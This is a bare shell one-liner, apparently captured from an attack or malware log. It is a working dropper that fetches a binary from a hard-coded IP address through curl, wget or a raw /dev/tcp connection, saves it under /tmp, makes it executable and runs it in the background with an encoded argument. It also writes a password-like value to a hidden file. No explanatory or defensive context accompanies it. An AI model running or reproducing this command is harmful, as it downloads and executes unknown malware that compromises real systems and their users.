nohup $SHELL -c "curl http://47.243.100.42:60112/linux -o /tmp/ppjsaeKtJP; if [ ! -f /tmp/ppjsaeKtJP ]; then wget http://47.243.100.42:60112/linux -O /tmp/ppjsaeKtJP; fi; if [ ! -f /tmp/ppjsaeKtJP ]; then exec 6<>/dev/tcp/47.243.100.42/60112 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ppjsaeKtJP && chmod +x /tmp/ppjsaeKtJP && /tmp/ppjsaeKtJP M2R3NL0fHd6CtXZ/q5jYGguyNnd0SV5wfyixAALT[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ppjsaeKtJP && /tmp/ppjsaeKtJP M2R3NL0fHd6CtXZ/q5jYGguyNnd0SV5wfyixAALT[...]" &#UPX!